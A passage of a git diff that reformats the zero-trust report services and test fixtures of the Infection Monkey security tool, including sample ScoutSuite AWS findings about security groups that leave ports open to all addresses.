'0.0.0.0/0'}]}}}}, - 'count': 1}, - 'egress': {'protocols': { - 'ALL': {'ports': {'1-65535': {'cidrs': [{'CIDR': '0.0.0.0/0'}]}}}}, - 'count': 1}} - } - }}}, - '...': {'...': '...'} - }}, + "services": { + "ec2": { + "regions": { + "ap-northeast-1": { + "vpcs": { + "vpc-abc": { + "id": "vpc-abc", + "security_groups": { + "sg-abc": { + "name": "default", + "rules": { + "ingress": { + "protocols": { + "ALL": { + "ports": { + "1-65535": { + "cidrs": [{"CIDR": "0.0.0.0/0"}] + } + } + } + }, + "count": 1, + }, + "egress": { + "protocols": { + "ALL": { + "ports": { + "1-65535": { + "cidrs": [{"CIDR": "0.0.0.0/0"}] + } + } + } + }, + "count": 1, + }, + }, + } + }, + } + }, + "...": {"...": "..."}, + } + }, # Interesting info, maybe could be used somewhere in the report - 'external_attack_surface': { - '52.52.52.52': {'protocols': {'TCP': {'ports': {'22': {'cidrs': [{'CIDR': '0.0.0.0/0'}]}}}}, - 'InstanceName': 'InstanceName', - 'PublicDnsName': 'ec2-52-52-52-52.eu-central-1.compute.amazonaws.com'}}, + "external_attack_surface": { + "52.52.52.52": { + "protocols": {"TCP": {"ports": {"22": {"cidrs": [{"CIDR": "0.0.0.0/0"}]}}}}, + "InstanceName": "InstanceName", + "PublicDnsName": "ec2-52-52-52-52.eu-central-1.compute.amazonaws.com", + } + }, # We parse these into ScoutSuite security rules - 'findings': { - 'ec2-security-group-opens-all-ports-to-all': { - 'description': 'Security Group Opens All Ports to All', - 'path': 'ec2.regions.id.vpcs.id.security_groups' - '.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR', - 'level': 'danger', - 'display_path': 'ec2.regions.id.vpcs.id.security_groups.id', - 'items': [ - 'ec2.regions.ap-northeast-1.vpcs.vpc-abc.security_groups' - '.sg-abc.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR'], - 'dashboard_name': 'Rules', - 'checked_items': 179, - 'flagged_items': 2, - 'service': 'EC2', - 'rationale': 'It was detected that all ports in the security group are open <...>', - 'remediation': None, 'compliance': None, 'references': None}, - '...': {'...': '...'} - } + "findings": { + "ec2-security-group-opens-all-ports-to-all": { + "description": "Security Group Opens All Ports to All", + "path": "ec2.regions.id.vpcs.id.security_groups" + ".id.rules.id.protocols.id.ports.id.cidrs.id.CIDR", + "level": "danger", + "display_path": "ec2.regions.id.vpcs.id.security_groups.id", + "items": [ + "ec2.regions.ap-northeast-1.vpcs.vpc-abc.security_groups" + ".sg-abc.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR" + ], + "dashboard_name": "Rules", + "checked_items": 179, + "flagged_items": 2, + "service": "EC2", + "rationale": "It was detected that all ports in the security group are open <...>", + "remediation": None, + "compliance": None, + "references": None, + }, + "...": {"...": "..."}, + }, }, - '...': {'...': '...'} + "...": {"...": "..."}, }, - 'service_list': ['acm', 'awslambda', 'cloudformation', 'cloudtrail', 'cloudwatch', 'config', 'directconnect', - 'dynamodb', 'ec2', 'efs', 'elasticache', 'elb', 'elbv2', 'emr', 'iam', 'kms', 'rds', 'redshift', - 'route53', 's3', 'ses', 'sns', 'sqs', 'vpc', 'secretsmanager'], - 'service_groups': {'...': {'...': '...'}} + "service_list": [ + "acm", + "awslambda", + "cloudformation", + "cloudtrail", + "cloudwatch", + "config", + "directconnect", + "dynamodb", + "ec2", + "efs", + "elasticache", + "elb", + "elbv2", + "emr", + "iam", + "kms", + "rds", + "redshift", + "route53", + "s3", + "ses", + "sns", + "sqs", + "vpc", + "secretsmanager", + ], + "service_groups": {"...": {"...": "..."}}, } diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py index fb9722ca23a..4e428794d1f 100644 --- a/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py +++ b/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py @@ -1,70 +1,72 @@ from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule -from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import PermissiveFirewallRules, \ - UnencryptedData - -SCOUTSUITE_FINDINGS = [ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import ( PermissiveFirewallRules, - UnencryptedData -] + UnencryptedData, +) + +SCOUTSUITE_FINDINGS = [PermissiveFirewallRules, UnencryptedData] RULES = [ ScoutSuiteRule( checked_items=179, compliance=None, - dashboard_name='Rules', - description='Security Group Opens All Ports to All', + dashboard_name="Rules", + description="Security Group Opens All Ports to All", flagged_items=2, items=[ - 'ec2.regions.eu-central-1.vpcs.vpc-0ee259b1a13c50229.security_groups.sg-035779fe5c293fc72' - '.rules.ingress.protocols.ALL.ports.1-65535.cidrs.2.CIDR', - 'ec2.regions.eu-central-1.vpcs.vpc-00015526b6695f9aa.security_groups.sg-019eb67135ec81e65' - '.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR' + "ec2.regions.eu-central-1.vpcs.vpc-0ee259b1a13c50229.security_groups.sg-035779fe5c293fc72" + ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.2.CIDR", + "ec2.regions.eu-central-1.vpcs.vpc-00015526b6695f9aa.security_groups.sg-019eb67135ec81e65" + ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR", ], - level='danger', - path='ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR', - rationale='It was detected that all ports in the security group are open, and any source IP address' - ' could send traffic to these ports, which creates a wider attack surface for resources ' - 'assigned to it. Open ports should be reduced to the minimum needed to correctly', + level="danger", + path="ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR", + rationale="It was detected that all ports in the security group are open, and any source IP address" + " could send traffic to these ports, which creates a wider attack surface for resources " + "assigned to it. Open ports should be reduced to the minimum needed to correctly", references=[], remediation=None, - service='EC2' + service="EC2", ), ScoutSuiteRule( checked_items=179, - compliance=[{'name': 'CIS Amazon Web Services Foundations', 'version': '1.0.0', 'reference': '4.1'}, - {'name': 'CIS Amazon Web Services Foundations', 'version': '1.0.0', 'reference': '4.2'}, - {'name': 'CIS Amazon Web Services Foundations', 'version': '1.1.0', 'reference': '4.1'}, - {'name': 'CIS Amazon Web Services Foundations', 'version': '1.1.0', 'reference': '4.2'}, - {'name': 'CIS Amazon Web Services Foundations', 'version': '1.2.0', 'reference': '4.1'}, - {'name': 'CIS Amazon Web Services Foundations', 'version': '1.2.0', 'reference': '4.2'}], - dashboard_name='Rules', - description='Security Group Opens RDP Port to All', + compliance=[ + {"name": "CIS Amazon Web Services Foundations", "version": "1.0.0", "reference": "4.1"}, + {"name": "CIS Amazon Web Services Foundations", "version": "1.0.0", "reference": "4.2"}, + {"name": "CIS Amazon Web Services Foundations", "version": "1.1.0", "reference": "4.1"}, + {"name": "CIS Amazon Web Services Foundations", "version": "1.1.0", "reference": "4.2"}, + {"name": "CIS Amazon Web Services Foundations", "version": "1.2.0", "reference": "4.1"}, + {"name": "CIS Amazon Web Services Foundations", "version": "1.2.0", "reference": "4.2"}, + ], + dashboard_name="Rules", + description="Security Group Opens RDP Port to All", flagged_items=7, items=[ - 'ec2.regions.eu-central-1.vpcs.vpc-076500a2138ee09da.security_groups.sg-00bdef5951797199c' - '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', - 'ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-007931ba8a364e330' - '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', - 'ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-05014daf996b042dd' - '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', - 'ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0c745fe56c66335b2' - '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', - 'ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0f99b85cfad63d1b1' - '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', - 'ec2.regions.us-east-1.vpcs.vpc-9e56cae4.security_groups.sg-0dc253aa79062835a' - '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', - 'ec2.regions.us-east-1.vpcs.vpc-002d543353cd4e97d.security_groups.sg-01902f153d4f938da' - '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR'], - level='danger', - path='ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR', - rationale='The security group was found to be exposing a well-known port to all source addresses.' - ' Well-known ports are commonly probed by automated scanning tools, and could be an indicator ' - 'of sensitive services exposed to Internet. If such services need to be expos', + "ec2.regions.eu-central-1.vpcs.vpc-076500a2138ee09da.security_groups.sg-00bdef5951797199c" + ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", + "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-007931ba8a364e330" + ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", + "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-05014daf996b042dd" + ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", + "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0c745fe56c66335b2" + ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", + "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0f99b85cfad63d1b1" + ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", + "ec2.regions.us-east-1.vpcs.vpc-9e56cae4.security_groups.sg-0dc253aa79062835a" + ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", + "ec2.regions.us-east-1.vpcs.vpc-002d543353cd4e97d.security_groups.sg-01902f153d4f938da" + ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", + ], + level="danger", + path="ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR", + rationale="The security group was found to be exposing a well-known port to all source addresses." + " Well-known ports are commonly probed by automated scanning tools, and could be an indicator " + "of sensitive services exposed to Internet. If such services need to be expos", references=[], - remediation='Remove the inbound rules that expose open ports', - service='EC2' - ) + remediation="Remove the inbound rules that expose open ports", + service="EC2", + ), ] diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py index 5b69d6ad946..cf65819df59 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py @@ -8,7 +8,9 @@ from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding -from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import MonkeyZTDetailsService +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import ( + MonkeyZTDetailsService, +) @dataclass @@ -22,7 +24,6 @@ class EnrichedFinding: class FindingService: - @staticmethod def get_all_findings_from_db() -> List[Finding]: return list(Finding.objects) @@ -39,14 +40,14 @@ def get_all_findings_for_ui() -> List[EnrichedFinding]: @staticmethod def _get_enriched_finding(finding: Finding) -> EnrichedFinding: - test_info = zero_trust_consts.TESTS_MAP[finding['test']] + test_info = zero_trust_consts.TESTS_MAP[finding["test"]] enriched_finding = EnrichedFinding( - finding_id=str(finding['_id']), - test=test_info[zero_trust_consts.FINDING_EXPLANATION_BY_STATUS_KEY][finding['status']], - test_key=finding['test'], + finding_id=str(finding["_id"]), + test=test_info[zero_trust_consts.FINDING_EXPLANATION_BY_STATUS_KEY][finding["status"]], + test_key=finding["test"], pillars=test_info[zero_trust_consts.PILLARS_KEY], - status=finding['status'], - details=None + status=finding["status"], + details=None, ) return enriched_finding diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py index 4f9c067f6c7..fda738c45bd 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py @@ -3,12 +3,13 @@ class PillarService: - @staticmethod def get_pillar_report_data(): - return {"statusesToPillars": PillarService._get_statuses_to_pillars(), - "pillarsToStatuses": PillarService._get_pillars_to_statuses(), - "grades": PillarService._get_pillars_grades()} + return { + "statusesToPillars": PillarService._get_statuses_to_pillars(), + "pillarsToStatuses": PillarService._get_pillars_to_statuses(), + "grades": PillarService._get_pillars_grades(), + } @staticmethod def _get_pillars_grades(): @@ -25,7 +26,7 @@ def __get_pillar_grade(pillar, all_findings): zero_trust_consts.STATUS_FAILED: 0, zero_trust_consts.STATUS_VERIFY: 0, zero_trust_consts.STATUS_PASSED: 0, - zero_trust_consts.STATUS_UNEXECUTED: 0 + zero_trust_consts.STATUS_UNEXECUTED: 0, } tests_of_this_pillar = zero_trust_consts.PILLARS_TO_TESTS[pillar] @@ -40,7 +41,9 @@ def __get_pillar_grade(pillar, all_findings): if pillar in test_info[zero_trust_consts.PILLARS_KEY]: pillar_grade[finding.status] += 1 - pillar_grade[zero_trust_consts.STATUS_UNEXECUTED] = list(test_unexecuted.values()).count(True) + pillar_grade[zero_trust_consts.STATUS_UNEXECUTED] = list(test_unexecuted.values()).count( + True + ) return pillar_grade @@ -50,7 +53,7 @@ def _get_statuses_to_pillars(): zero_trust_consts.STATUS_FAILED: [], zero_trust_consts.STATUS_VERIFY: [], zero_trust_consts.STATUS_PASSED: [], - zero_trust_consts.STATUS_UNEXECUTED: [] + zero_trust_consts.STATUS_UNEXECUTED: [], } for pillar in zero_trust_consts.PILLARS: results[PillarService.__get_status_of_single_pillar(pillar)].append(pillar) diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/principle_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/principle_service.py index 006cb053e9f..671d1da445e 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/principle_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/principle_service.py @@ -3,7 +3,6 @@ class PrincipleService: - @staticmethod def get_principles_status(): all_principles_statuses = {} @@ -18,7 +17,7 @@ def get_principles_status(): { "principle": zero_trust_consts.PRINCIPLES[principle], "tests": PrincipleService.__get_tests_status(principle_tests), - "status": PrincipleService.__get_principle_status(principle_tests) + "status": PrincipleService.__get_principle_status(principle_tests), } ) @@ -29,11 +28,12 @@ def __get_principle_status(principle_tests): worst_status = zero_trust_consts.STATUS_UNEXECUTED all_statuses = set() for test in principle_tests: - all_statuses |= set(Finding.objects(test=test).distinct('status')) + all_statuses |= set(Finding.objects(test=test).distinct("status")) for status in all_statuses: - if zero_trust_consts.ORDERED_TEST_STATUSES.index(status) \ - < zero_trust_consts.ORDERED_TEST_STATUSES.index(worst_status): + if zero_trust_consts.ORDERED_TEST_STATUSES.index( + status + ) < zero_trust_consts.ORDERED_TEST_STATUSES.index(worst_status): worst_status = status return worst_status @@ -45,8 +45,10 @@ def __get_tests_status(principle_tests): test_findings = Finding.objects(test=test) results.append( { - "test": zero_trust_consts.TESTS_MAP[test][zero_trust_consts.TEST_EXPLANATION_KEY], - "status": PrincipleService.__get_lcd_worst_status_for_test(test_findings) + "test": zero_trust_consts.TESTS_MAP[test][ + zero_trust_consts.TEST_EXPLANATION_KEY + ], + "status": PrincipleService.__get_lcd_worst_status_for_test(test_findings), } ) return results @@ -60,8 +62,9 @@ def __get_lcd_worst_status_for_test(all_findings_for_test): """ current_worst_status = zero_trust_consts.STATUS_UNEXECUTED for finding in all_findings_for_test: - if zero_trust_consts.ORDERED_TEST_STATUSES.index(finding.status) \ - < zero_trust_consts.ORDERED_TEST_STATUSES.index(current_worst_status): + if zero_trust_consts.ORDERED_TEST_STATUSES.index( + finding.status + ) < zero_trust_consts.ORDERED_TEST_STATUSES.index(current_worst_status): current_worst_status = finding.status return current_worst_status diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_common/example_finding_data.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_common/example_finding_data.py index 917678ed800..51677efc994 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_common/example_finding_data.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_common/example_finding_data.py @@ -1,54 +1,79 @@ from common.common_consts import zero_trust_consts -from monkey_island.cc.services.zero_trust.test_common.finding_data import get_monkey_finding_dto, \ - get_scoutsuite_finding_dto +from monkey_island.cc.services.zero_trust.test_common.finding_data import ( + get_monkey_finding_dto, + get_scoutsuite_finding_dto, +) def save_example_findings(): # devices passed = 1 - _save_finding_with_status('scoutsuite', zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, - zero_trust_consts.STATUS_PASSED) + _save_finding_with_status( + "scoutsuite", + zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, + zero_trust_consts.STATUS_PASSED, + ) # devices passed = 2 - _save_finding_with_status('scoutsuite', zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, - zero_trust_consts.STATUS_PASSED) + _save_finding_with_status( + "scoutsuite", + zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, + zero_trust_consts.STATUS_PASSED, + ) # devices failed = 1 - _save_finding_with_status('monkey', zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, - zero_trust_consts.STATUS_FAILED) + _save_finding_with_status( + "monkey", zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, zero_trust_consts.STATUS_FAILED + ) # people verify = 1 # networks verify = 1 - _save_finding_with_status('scoutsuite', zero_trust_consts.TEST_SCHEDULED_EXECUTION, - zero_trust_consts.STATUS_VERIFY) + _save_finding_with_status( + "scoutsuite", zero_trust_consts.TEST_SCHEDULED_EXECUTION, zero_trust_consts.STATUS_VERIFY + ) # people verify = 2 # networks verify = 2 - _save_finding_with_status('monkey', zero_trust_consts.TEST_SCHEDULED_EXECUTION, - zero_trust_consts.STATUS_VERIFY) + _save_finding_with_status( + "monkey", zero_trust_consts.TEST_SCHEDULED_EXECUTION, zero_trust_consts.STATUS_VERIFY + ) # data failed 1 - _save_finding_with_status('monkey', zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, - zero_trust_consts.STATUS_FAILED) + _save_finding_with_status( + "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED + ) # data failed 2 - _save_finding_with_status('scoutsuite', zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, - zero_trust_consts.STATUS_FAILED) + _save_finding_with_status( + "scoutsuite", + zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, + zero_trust_consts.STATUS_FAILED, + ) # data failed 3 - _save_finding_with_status('monkey', zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, - zero_trust_consts.STATUS_FAILED) + _save_finding_with_status( + "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED + ) # data failed 4 - _save_finding_with_status('monkey', zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, - zero_trust_consts.STATUS_FAILED) + _save_finding_with_status( + "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED + ) # data failed 5 - _save_finding_with_status('scoutsuite', zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, - zero_trust_consts.STATUS_FAILED) + _save_finding_with_status( + "scoutsuite", + zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, + zero_trust_consts.STATUS_FAILED, + ) # data verify 1 - _save_finding_with_status('monkey', zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, - zero_trust_consts.STATUS_VERIFY) + _save_finding_with_status( + "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_VERIFY + ) # data verify 2 - _save_finding_with_status('monkey', zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, - zero_trust_consts.STATUS_VERIFY) + _save_finding_with_status( + "monkey", zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_VERIFY + ) # data passed 1 - _save_finding_with_status('scoutsuite', zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, - zero_trust_consts.STATUS_PASSED) + _save_finding_with_status( + "scoutsuite", + zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, + zero_trust_consts.STATUS_PASSED, + ) def _save_finding_with_status(finding_type: str, test: str, status: str): - if finding_type == 'scoutsuite': + if finding_type == "scoutsuite": finding = get_scoutsuite_finding_dto() else: finding = get_monkey_finding_dto() diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py index 9d832e106dd..67bdbc3088f 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py @@ -2,12 +2,26 @@ import pytest -from common.common_consts.zero_trust_consts import TESTS_MAP, TEST_SCOUTSUITE_SERVICE_SECURITY, STATUS_FAILED, \ - DEVICES, NETWORKS, STATUS_PASSED, TEST_ENDPOINT_SECURITY_EXISTS -from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import MonkeyZTDetailsService -from monkey_island.cc.services.zero_trust.test_common.finding_data import get_scoutsuite_finding_dto, \ - get_monkey_finding_dto -from monkey_island.cc.services.zero_trust.zero_trust_report.finding_service import FindingService, EnrichedFinding +from common.common_consts.zero_trust_consts import ( + TESTS_MAP, + TEST_SCOUTSUITE_SERVICE_SECURITY, + STATUS_FAILED, + DEVICES, + NETWORKS, + STATUS_PASSED, + TEST_ENDPOINT_SECURITY_EXISTS, +) +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import ( + MonkeyZTDetailsService, +) +from monkey_island.cc.services.zero_trust.test_common.finding_data import ( + get_scoutsuite_finding_dto, + get_monkey_finding_dto, +) +from monkey_island.cc.services.zero_trust.zero_trust_report.finding_service import ( + FindingService, + EnrichedFinding, +) from monkey_island.cc.test_common.fixtures.fixture_enum import FixtureEnum @@ -21,21 +35,25 @@ def test_get_all_findings(): findings = FindingService.get_all_findings_for_ui() - description = TESTS_MAP[TEST_SCOUTSUITE_SERVICE_SECURITY]['finding_explanation'][STATUS_FAILED] - expected_finding0 = EnrichedFinding(finding_id=findings[0].finding_id, - pillars=[DEVICES, NETWORKS], - status=STATUS_FAILED, - test=description, - test_key=TEST_SCOUTSUITE_SERVICE_SECURITY, - details=None) - - description = TESTS_MAP[TEST_ENDPOINT_SECURITY_EXISTS]['finding_explanation'][STATUS_PASSED] - expected_finding1 = EnrichedFinding(finding_id=findings[1].finding_id, - pillars=[DEVICES], - status=STATUS_PASSED, - test=description, - test_key=TEST_ENDPOINT_SECURITY_EXISTS, - details=None) + description = TESTS_MAP[TEST_SCOUTSUITE_SERVICE_SECURITY]["finding_explanation"][STATUS_FAILED] + expected_finding0 = EnrichedFinding( + finding_id=findings[0].finding_id, + pillars=[DEVICES, NETWORKS], + status=STATUS_FAILED, + test=description, + test_key=TEST_SCOUTSUITE_SERVICE_SECURITY, + details=None, + ) + + description = TESTS_MAP[TEST_ENDPOINT_SECURITY_EXISTS]["finding_explanation"][STATUS_PASSED] + expected_finding1 = EnrichedFinding( + finding_id=findings[1].finding_id, + pillars=[DEVICES], + status=STATUS_PASSED, + test=description, + test_key=TEST_ENDPOINT_SECURITY_EXISTS, + details=None, + ) # Don't test details details = [] diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py index bf2bbe1a57e..32dbaadc9df 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py @@ -3,11 +3,19 @@ import pytest from common.common_consts import zero_trust_consts -from common.common_consts.zero_trust_consts import DATA, PEOPLE, NETWORKS, WORKLOADS, VISIBILITY_ANALYTICS, \ - AUTOMATION_ORCHESTRATION, DEVICES +from common.common_consts.zero_trust_consts import ( + DATA, + PEOPLE, + NETWORKS, + WORKLOADS, + VISIBILITY_ANALYTICS, + AUTOMATION_ORCHESTRATION, + DEVICES, +) from monkey_island.cc.services.zero_trust.zero_trust_report.pillar_service import PillarService -from monkey_island.cc.services.zero_trust.zero_trust_report.test_common.example_finding_data import \ - save_example_findings +from monkey_island.cc.services.zero_trust.zero_trust_report.test_common.example_finding_data import ( + save_example_findings, +) from monkey_island.cc.test_common.fixtures import FixtureEnum @@ -27,7 +35,7 @@ def _get_expected_pillar_grades() -> List[dict]: zero_trust_consts.STATUS_PASSED: 1, # 2 different tests of DATA pillar were executed in _save_findings() zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(DATA) - 2, - "pillar": "Data" + "pillar": "Data", }, { zero_trust_consts.STATUS_FAILED: 0, @@ -35,7 +43,7 @@ def _get_expected_pillar_grades() -> List[dict]: zero_trust_consts.STATUS_PASSED: 0, # 1 test of PEOPLE pillar were executed in _save_findings() zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(PEOPLE) - 1, - "pillar": "People" + "pillar": "People", }, { zero_trust_consts.STATUS_FAILED: 0, @@ -43,7 +51,7 @@ def _get_expected_pillar_grades() -> List[dict]: zero_trust_consts.STATUS_PASSED: 0, # 1 different tests of NETWORKS pillar were executed in _save_findings() zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(NETWORKS) - 1, - "pillar": "Networks" + "pillar": "Networks", }, { zero_trust_consts.STATUS_FAILED: 1, @@ -51,7 +59,7 @@ def _get_expected_pillar_grades() -> List[dict]: zero_trust_consts.STATUS_PASSED: 2, # 1 different tests of DEVICES pillar were executed in _save_findings() zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(DEVICES) - 1, - "pillar": "Devices" + "pillar": "Devices", }, { zero_trust_consts.STATUS_FAILED: 0, @@ -59,7 +67,7 @@ def _get_expected_pillar_grades() -> List[dict]: zero_trust_consts.STATUS_PASSED: 0, # 0 different tests of WORKLOADS pillar were executed in _save_findings() zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(WORKLOADS), - "pillar": "Workloads" + "pillar": "Workloads", }, { zero_trust_consts.STATUS_FAILED: 0, @@ -67,21 +75,25 @@ def _get_expected_pillar_grades() -> List[dict]: zero_trust_consts.STATUS_PASSED: 0, # 0 different tests of VISIBILITY_ANALYTICS pillar were executed in _save_findings() zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(VISIBILITY_ANALYTICS), - "pillar": "Visibility & Analytics" + "pillar": "Visibility & Analytics", }, { zero_trust_consts.STATUS_FAILED: 0, zero_trust_consts.STATUS_VERIFY: 0, zero_trust_consts.STATUS_PASSED: 0, # 0 different tests of AUTOMATION_ORCHESTRATION pillar were executed in _save_findings() - zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(AUTOMATION_ORCHESTRATION), - "pillar": "Automation & Orchestration" - } + zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar( + AUTOMATION_ORCHESTRATION + ), + "pillar": "Automation & Orchestration", + }, ] def _get_cnt_of_tests_in_pillar(pillar: str): - tests_in_pillar = [value for (key, value) in zero_trust_consts.TESTS_MAP.items() if pillar in value['pillars']] + tests_in_pillar = [ + value for (key, value) in zero_trust_consts.TESTS_MAP.items() if pillar in value["pillars"] + ] return len(tests_in_pillar) @@ -95,7 +107,7 @@ def test_get_pillars_to_statuses(): zero_trust_consts.PEOPLE: zero_trust_consts.STATUS_UNEXECUTED, zero_trust_consts.VISIBILITY_ANALYTICS: zero_trust_consts.STATUS_UNEXECUTED, zero_trust_consts.WORKLOADS: zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.DATA: zero_trust_consts.STATUS_UNEXECUTED + zero_trust_consts.DATA: zero_trust_consts.STATUS_UNEXECUTED, } assert PillarService._get_pillars_to_statuses() == expected @@ -108,6 +120,6 @@ def test_get_pillars_to_statuses(): zero_trust_consts.PEOPLE: zero_trust_consts.STATUS_VERIFY, zero_trust_consts.VISIBILITY_ANALYTICS: zero_trust_consts.STATUS_UNEXECUTED, zero_trust_consts.WORKLOADS: zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.DATA: zero_trust_consts.STATUS_FAILED + zero_trust_consts.DATA: zero_trust_consts.STATUS_FAILED, } assert PillarService._get_pillars_to_statuses() == expected diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py index fd2502f591a..23d3cd08eff 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py @@ -1,90 +1,86 @@ import pytest from common.common_consts import zero_trust_consts -from monkey_island.cc.services.zero_trust.test_common.finding_data import 